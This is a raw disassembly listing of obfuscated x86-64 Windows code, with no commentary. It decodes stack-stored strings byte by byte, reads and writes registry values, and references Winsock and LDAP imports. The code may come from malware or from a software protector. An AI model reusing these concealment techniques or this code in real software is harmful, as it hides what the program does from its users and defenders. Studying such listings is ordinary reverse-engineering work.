lea edx, [r10 - 0x4c]
jmp 0x1400cdabc
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400cd960
lea edx, [rdi + 0x40]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
movzx eax, dl
dec rdi
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc rdi
jmp 0x1400cd0d3
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400cd51a
movzx r10d, dil
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x68
jmp 0x1400cda62
movzx r11d, byte [rbp + rdi - 0x50]
movzx r10d, dil
lea edx, [r10 + 0x70]
movzx eax, dl
and al, bl
add al, al
sub r11b, al
sub r11b, 0x10
jmp 0x1400cdac7
lea edx, [rdi - 4]
mov ecx, reloc.WS2_32.dll_ntohl
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1400cdb38
lea edx, [rdi - 0x56]
mov ecx, reloc.WLDAP32.dll_Ordinal_45
movzx eax, dl
and al, bl
sub cl, al
movzx eax, byte [rbp + rdi - 0x50]
add rax, r9
add rdi, rax
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc rdi
jmp 0x1400cd0d3
lea ecx, [rdi + 6]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2a
jmp 0x1400cdb05
lea ecx, [rdi + 0x7a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x56
jmp 0x1400cdb02
lea edx, [rdi + 0x62]
mov ecx, reloc.WLDAP32.dll_Ordinal_41
movzx eax, dl
dec rdi
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc rdi
jmp 0x1400cd0d3
movzx r10d, dil
lea ecx, [r10 + 0x4a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 6
movzx eax, bl
add r10b, 0x2a
and al, r10b
inc r9
add al, al
sub bl, al
sub bl, 0x26
add bl, r10b
mov byte [rbp + rdi - 0x50], bl
dec rdi
inc rdi
jmp 0x1400cd0d3
lea edx, [rdi - 0x5a]
mov ecx, Ordinal_60
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x1400cd0d3
movzx r10d, dil
mov ecx, reloc.WS2_32.dll_ntohs
lea edx, [r10 - 0x72]
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
sub r10b, 0x4a
movzx eax, bl
and al, r10b
mov ecx, 3
sub cl, al
add cl, cl
add cl, bl
add cl, r10b
add cl, r11b
mov byte [rbp + rdi - 0x50], cl
jmp 0x1400cdb02
lea ecx, [rdi + 2]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xe
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400cd0d3
lea rcx, [rdi + r15]
movzx ebx, r10b
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x66
lea edx, [rdi + 0x42]
inc r9
movzx eax, dl
mov ecx, Ordinal_27
and al, bl
sub cl, al
add cl, cl
add cl, dl
add cl, bl
movzx eax, cl
mov byte [rbp + rdi - 0x50], al
add rax, r9
sub rdi, rax
jmp 0x1400cdb7e
lea rdx, [rdi + r12]
mov ecx, gethostname
movzx eax, dl
movzx ebx, r10b
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
lea edx, [rdi - 0x78]
inc r8
movzx eax, dl
mov ecx, 0x24
and al, bl
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi - 0x50], cl
add rdi, rax
movzx eax, byte [rbp + rdi - 0x50]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400cd0d3
lea rcx, [rdi + r14]
mov edx, reloc.WLDAP32.dll_Ordinal_33
movzx eax, cl
and al, r10b
sub dl, al
lea r11d, [rdx + rdx]
add r11b, cl
add r11b, r10b
movzx eax, byte [rbp + rdi - 0x50]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400cd0d3
add dil, 0x5e
mov ecx, gethostname
movzx eax, dil
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, bl
jmp 0x1400cd0d0
sub dil, 0x2e
mov ecx, reloc.WLDAP32.dll_Ordinal_33
movzx eax, dil
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, bl
jmp 0x1400cd0c1
lea r8, [rbp + 0x15b9eb8]
jmp 0x1400cdc3e
lea r8, [rbp + 0xc632fe]
jmp 0x1400cdc3e
lea r8, [rbp - 0x50]
mov rcx, qword [rbp + 0xa0]
lea rax, [rbp + 0x98]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0x90]
mov r9d, reloc.WS2_32.dll_recv
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
test eax, eax
jne 0x1400cfebc
cmp dword [rbp + 0x90], 1
jne 0x1400cfebc
mov dword [rbp + 0x90], r13d
movabs rsi, 0xe356df564f45e625
movzx edx, byte [rbp + 0x90]
movabs r15, 0x37601b5c2ae94b03
mov dword [rsp + 0x40], 0x59485e7c
movabs r14, 0xaa049e02edd1b26f
mov dword [rsp + 0x44], 0x494f5f41
mov dword [rsp + 0x48], 0x45684642
mov dword [rsp + 0x4c], 0x415b4b5d
mov dword [rsp + 0x50], 0x5e455970
mov dword [rsp + 0x54], 0x4a575557
mov dword [rsp + 0x58], 0x244e764a
mov dword [rsp + 0x5c], 0x472b2d24
mov r8, qword [0x1402e3348]
mov r9, qword [0x1402e3350]
nop
mov rbx, r13
cmp rbx, 0x20
jae 0x1400ce7f6
movzx r10d, byte [rsp + rbx + 0x40]
mov r11, r10
cmp r8, rbx
ja 0x1400ce7ed
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400cdd3e
lea rdx, [rbx + rsi]
movzx eax, dl
and al, r11b
add al, al
sub dl, al
sub dl, 3
add dl, r11b
jmp 0x1400cdd70
je 0x1400ce788
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400ce712
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400ce6ef
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400ce6aa
nop dword [rax + rax]
cmp r9, rbx
ja 0x1400ce7e4
lea rax, [r9 + 0x400]
cmp r8, rax
jae 0x1400cdd9b
lea ecx, [rbx + 9]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x3f
jmp 0x1400cdde0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400ce68f
inc rax
cmp r8, rax
je 0x1400ce66c
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400ce64c
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400ce61f
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400ce604
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400ce316
nop dword [rax]
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400ce2f8
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400ce2d5
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400ce2b5
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400ce295
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400ce278
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400ce25e
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400ce243
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400ce228
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400ce200
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400cddf0
lea r8, [r9 + 0x42]
lea r9, [r8 + 5]
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400ce7ca
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400ce7b0
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400cdfd7
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400cdfbc
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400cdfa1
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400ce1b9
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400ce175
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400ce135
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400ce114
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400cddf0
lea r8, [r9 + 8]
lea r9, [r8 + 0x41]
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400ce0ea
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400ce0ce
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400ce0b2
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400ce096
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400ce077
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400ce057
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400ce035
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400ce010
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400cdff2
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400cddf0
lea r8, [r9 + 0x80]
lea r9, [r8 + 8]
jmp 0x1400cddf0
lea edx, [rbx + 0x17]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
add dl, 0x5f
sub cl, al
add dl, cl
jmp 0x1400cdde0
lea edx, [rbx - 0x33]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
add dl, 0x65
sub cl, al
add dl, cl
jmp 0x1400cdd70
lea edx, [rbx - 0x7d]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
add dl, 0x6b
sub cl, al
add dl, cl
jmp 0x1400cdd13
lea edx, [rbx + 0x48]
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
movzx r11d, bl
add cl, cl
add cl, r10b
jmp 0x1400ce6c3
lea edx, [rbx - 2]
movzx eax, r10b
and al, dl
mov ecx, 7
sub cl, al
inc r9
add cl, cl
dec rbx
add cl, r10b
add dl, cl
inc rbx
jmp 0x1400cdd03
lea edx, [rbx - 0x4c]
movzx eax, r10b
and al, dl
mov ecx, 0xa
sub cl, al
dec rbx
add cl, cl
add cl, r10b
add dl, cl
inc rbx
jmp 0x1400cdd03
lea edx, [rbx + 0x6a]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
movzx r11d, bl
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400ce5c1
lea edx, [rbx + 0x20]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
add r8, r9
jmp 0x1400ce634
lea edx, [rbx - 0x2a]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400ce634
lea edx, [rbx - 0x74]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400ce72b
lea edx, [rbx + 0x42]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_27
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400ce74e
lea edx, [rbx - 8]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_32
sub cl, al
movzx eax, byte [rsp + rbx + 0x40]
add cl, cl
add rax, r9
add cl, r10b
add rbx, rax
add dl, cl
inc rbx
jmp 0x1400cdd03
lea ecx, [rbx + 0x3f]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
add dl, 0x47
mov byte [rsp + rbx + 0x40], dl
inc rbx
jmp 0x1400cdd03
lea edx, [rbx - 0xb]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub cl, al
add dl, 0x4d
add dl, cl
cmp r9, 0xa
jb 0x1400ce129
movzx ecx, r10b
movzx r11d, bl
movzx eax, r10b
lea edx, [r11 - 0x42]
and al, dl
add al, al
sub cl, al
add cl, dl
lea edx, [rcx*2 - 0x64]
jmp 0x1400ce6c5
lea edx, [rbx - 0x55]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub cl, al
add dl, 0x53
add dl, cl
cmp r8, 0x2a
jae 0x1400ce5a2
lea rax, [r9 + 8]
cmp r8, rax
jbe 0x1400ce4d2
lea edx, [rbx - 0x26]
movzx eax, r10b
and al, dl
mov ecx, 5
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400ce149
lea edx, [rbx + 0x61]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub cl, al
add dl, 0x59
add dl, cl
lea rax, [r9 + r8]
cmp rax, 8
je 0x1400ce5e5
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x1400ce40c
lea edx, [rbx - 0x2f]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub cl, al
add dl, 0x49
jmp 0x1400ce189
lea ecx, [rbx + 0x36]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
movzx eax, byte [rsp + rbx + 0x40]
add rax, r9
add rbx, rax
lea edx, [rcx + r10]
sub dl, 0x7a
inc rbx
jmp 0x1400cdd03
lea edx, [rbx - 0x14]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub dl, 0x74
sub cl, al
add dl, cl
jmp 0x1400ce74e
lea edx, [rbx - 0x5e]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub dl, 0x6e
sub cl, al
add dl, cl
jmp 0x1400ce72b
lea ecx, [rbx + 0x58]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x68
jmp 0x1400ce634
lea ecx, [rbx + 0xe]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x62
add r8, r9
jmp 0x1400ce634
movzx r11d, bl
movzx eax, r10b
movzx ecx, r10b
lea edx, [r11 - 0x3c]
and al, dl
sub dl, 0x5c
add al, al
sub cl, al
add dl, cl
jmp 0x1400ce5c1
lea ecx, [rbx + 0x7a]
movzx eax, r10b
and al, cl
dec rbx
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x56
inc rbx
jmp 0x1400cdd03
lea ecx, [rbx + 0x30]
movzx eax, r10b
and al, cl
inc r9
add al, al
dec rbx
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x50
inc rbx
jmp 0x1400cdd03
movzx r11d, bl
movzx eax, r10b
movzx ecx, r10b
lea edx, [r11 - 0x1a]
and al, dl
add al, al
sub cl, al
sub dl, 0x4a
jmp 0x1400ce6c3
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x1400ce338
lea edx, [rbx + 0x25]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub cl, al
sub dl, 3
jmp 0x1400ce1cd
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400ce369
lea ecx, [rbx + 0x12]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
movzx eax, byte [rsp + rbx + 0x40]
add rax, r9
add rbx, rax
lea edx, [rcx + r10]
sub dl, 0x7e
inc rbx
jmp 0x1400cdd03
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400ce38e
lea edx, [rbx - 0x5a]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400ce72b
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400ce3b6
lea edx, [rbx + 0x3a]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
add r8, r9
jmp 0x1400ce634
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400ce3e0
movzx r11d, bl
movzx eax, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
lea edx, [r11 - 0x7c]
and al, dl
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400ce5c1
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400ce1cf
movzx r11d, bl
movzx eax, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
lea edx, [r11 + 0x62]
and al, dl
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400ce6c3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400ce433
movzx r11d, bl
movzx eax, r10b
movzx ecx, r10b
lea edx, [r11 + 0x1b]
and al, dl
add al, al
sub cl, al
add dl, 0x43
jmp 0x1400ce6c3
inc rax
cmp r8, rax
jne 0x1400ce45e
lea ecx, [rbx + 0x65]
movzx eax, r10b
and al, cl
inc r9
add al, al
dec rbx
sub r10b, al
lea edx, [rcx + r10]
add dl, 0x3d
inc rbx
jmp 0x1400cdd03
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400ce487
lea ecx, [rbx - 0x51]
movzx eax, r10b
and al, cl
dec rbx
add al, al
sub r10b, al
lea edx, [rcx + r10]
add dl, 0x37
inc rbx
jmp 0x1400cdd03
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400ce4aa
lea ecx, [rbx - 0x73]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
add dl, 0x25
jmp 0x1400ce634
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400ce18b
lea edx, [rbx - 0x29]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
add dl, 0x1f
sub cl, al
add dl, cl
jmp 0x1400ce72b
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400ce505
lea edx, [rbx + 0x24]
movzx eax, r10b
and al, dl
mov ecx, 2
sub cl, al
movzx eax, byte [rsp + rbx + 0x40]
add cl, cl
add rax, r9
add cl, r10b
add rbx, rax
add dl, cl
inc rbx
jmp 0x1400cdd03
inc rax
cmp r8, rax
jne 0x1400ce528
lea edx, [rbx + 0x6e]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub dl, 2
sub cl, al
add dl, cl
jmp 0x1400ce74e
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400ce54e
lea ecx, [rbx + 0x4c]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x14
add r8, r9
jmp 0x1400ce634
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400ce577
lea ecx, [rbx - 0x20]
movzx eax, r10b
and al, cl
dec rbx
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x20
inc rbx
jmp 0x1400cdd03
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400ce14b
movzx r11d, bl
movzx eax, r10b
movzx ecx, r10b
lea edx, [r11 + 0x74]
and al, dl
add al, al
sub cl, al
sub dl, 0x2c
jmp 0x1400ce6c3
movzx ecx, byte [rsp + rbx + 0x40]
movzx r11d, bl
movzx eax, r10b
lea edx, [r11 + 8]
and al, dl
sub dl, 0x38
add al, al
sub cl, al
add dl, cl
add dl, r10b
add r11b, 0x2d
movzx ecx, dl
movzx eax, r11b
and al, r10b
add al, al
sub cl, al
sub cl, 0x3b
add cl, r11b
add cl, r10b
mov byte [rsp + rbx + 0x40], cl
add r8, r9
jmp 0x1400ce634
lea edx, [rbx + 0x52]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub dl, 0x3e
sub cl, al
sub cl, byte [rsp + rbx + 0x40]
add dl, cl
jmp 0x1400ce72b
lea edx, [rbx + 0xf]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub dl, 0x69
sub cl, al
add dl, cl
jmp 0x1400ce72b
lea ecx, [rbx - 0x3b]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x63
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400cdd03
lea ecx, [rbx - 0x19]
movzx eax, r10b
and al, cl
dec rbx
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x51
inc rbx
jmp 0x1400cdd03
lea ecx, [rbx - 0x63]
movzx eax, r10b
and al, cl
inc r9
add al, al
dec rbx
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x4b
inc rbx
jmp 0x1400cdd03
movzx r11d, bl
movzx eax, r10b
movzx ecx, r10b
lea edx, [r11 + 0x53]
and al, dl
add al, al
sub cl, al
sub dl, 0x45
jmp 0x1400ce6c3
movzx r11d, bl
movzx eax, r10b
movzx ecx, r10b
lea edx, [r11 - 0x41]
and al, dl
add al, al
sub cl, al
sub dl, 0x39
add dl, cl
sub r11b, 0x1d
inc r9
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x35
add r11b, r10b
mov byte [rsp + rbx + 0x40], r11b
dec rbx
inc rbx
jmp 0x1400cdd03
lea ecx, [rbx + 0x75]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x33
inc r9
dec rbx
inc rbx
jmp 0x1400cdd03
lea rcx, [rbx + r15]
movzx r10d, r11b
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x15
lea ecx, [rbx + 0x77]
inc r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x41
add cl, r10b
movzx eax, cl
mov byte [rsp + rbx + 0x40], al
add rax, r9
sub rbx, rax
lea ecx, [rbx - 0x64]
inc r8
movzx eax, cl
and al, r10b
add al, al
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
sub cl, 0x44
add cl, r10b
mov byte [rsp + rbx + 0x40], cl
add rbx, rax
movzx eax, byte [rsp + rbx + 0x40]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400cdd03
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 9
movzx eax, byte [rsp + rbx + 0x40]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400cdd03
add bl, 0x39
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea edx, [rbx + r10]
add dl, 0x71
jmp 0x1400cdd00
sub bl, 0x11
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea edx, [rbx + r10]
add dl, 0x77
jmp 0x1400cdcf1
lea rdx, [rbp + 0x176a01c]
jmp 0x1400ce7fb
lea rdx, [rbp + 0x13c8641]
jmp 0x1400ce7fb
lea rdx, [rsp + 0x40]
mov rcx, qword [rbp + 0xa0]
lea rax, [rbp + 0x90]
mov dword [rsp + 0x28], 4
mov r9d, 4
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1400cfebc
movzx r10d, byte [rbp + 0x90]
movabs r14, 0xda9cfffe0d9d5cf4
mov dword [rsp + 0x60], 0x3bd7eef1
movabs r12, 0xfa4afff25f4d8aac
mov dword [rsp + 0x64], 0xebebe8e2
movabs r15, 0x8fd6fffa28d816dc
mov dword [rsp + 0x68], 0x33e5dd30
mov dword [rsp + 0x6c], 0x231d101e
mov dword [rsp + 0x70], 0xcb261b09
mov dword [rsp + 0x74], 0x152b122d
mov dword [rsp + 0x78], 0xc3e1f1c0
mov dword [rsp + 0x7c], 0xdf0c0a02
mov dword [rbp - 0x80], 0x363004ee
mov dword [rbp - 0x7c], 0x3ad506
mov dword [rbp - 0x78], 0x1053ed0
mov dword [rbp - 0x74], 0xdfeefb37
mov dword [rbp - 0x70], 0x3839343a
mov dword [rbp - 0x6c], 0xb30d8e4
mov dword [rbp - 0x68], 0xfe2333d
mov dword [rbp - 0x64], 0x222cfd2b
mov dword [rbp - 0x60], 0x293b152b
mov dword [rbp - 0x5c], 0x2f1af518
mov dword [rbp - 0x58], 0xd0c2f12d
mov dword [rbp - 0x54], 0xed9a
nop word [rax + rax]
mov r8, qword [0x1402e3348]
mov r9, qword [0x1402e3350]
nop
mov rdi, r13
cmp rdi, 0x50
jae 0x1400cf410
movzx r11d, byte [rsp + rdi + 0x60]
mov rbx, r11
cmp r8, rdi
ja 0x1400cf407
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400ce945
lea rcx, [rdi + r14]
mov r10d, Ordinal_45
movzx eax, cl
and al, bl
sub r10b, al
add r10b, r10b
add r10b, cl
add r10b, bl
jmp 0x1400ce972
je 0x1400cf39c
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400cf319
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400cf2e8
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400cf2c8
cmp r9, rdi
ja 0x1400cf3fe
lea rax, [r9 + 0xa]
cmp r8, rax
jae 0x1400ce99b
lea ecx, [rdi + 4]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1c
jmp 0x1400ce9c2
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400cf286
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400cf26a
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400cf24b
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400cef20
nop
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400cef00
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400ceedc
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400ceeb7
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400cee94
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400cee7a
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400cee5b
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400cee3c
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400cee22
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400cedf5
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400ce9d0
lea r8, [r9 + 0x400]
lea r9, [r8 + 8]
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400cf3e1
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400cf3c4
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400cebb2
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400ceb98
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400ceb7e
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400ceda1
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400ced5a
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400ced1e
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400cecf7
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400ce9d0
lea r8, [r9 + 0x64]
lea r9, [r8 + 3]
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400ceccf
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400cecb5
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400cec96
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400cec7c
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400cec5f
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400cec3c
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400cec1c
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400cebf4
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400cebd1
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400ce9d0
lea r8, [r9 + 0x20]
lea r9, [r8 + 0x5a]
jmp 0x1400ce9d0
lea ecx, [rdi + 0x7c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x64
jmp 0x1400ce9c2
lea ecx, [rdi - 0x6c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xc
jmp 0x1400ce972
lea edx, [rdi - 0x54]
mov ecx, Ordinal_41
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400ce913
lea edx, [rdi + 0x20]
mov ecx, reloc.WS2_32.dll_recv
movzx eax, dl
movzx ebx, dil
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400cf2a3
lea edx, [rdi + 0x38]
mov ecx, reloc.WLDAP32.dll_Ordinal_60
movzx eax, dl
inc r9
and al, r11b
dec rdi
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rdi
jmp 0x1400ce903
lea ecx, [rdi + 0x50]
dec rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x30
inc rdi
jmp 0x1400ce903
lea edx, [rdi + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
movzx eax, dl
movzx ebx, dil
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400cf208
lea ecx, [rdi + 0x80]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x80
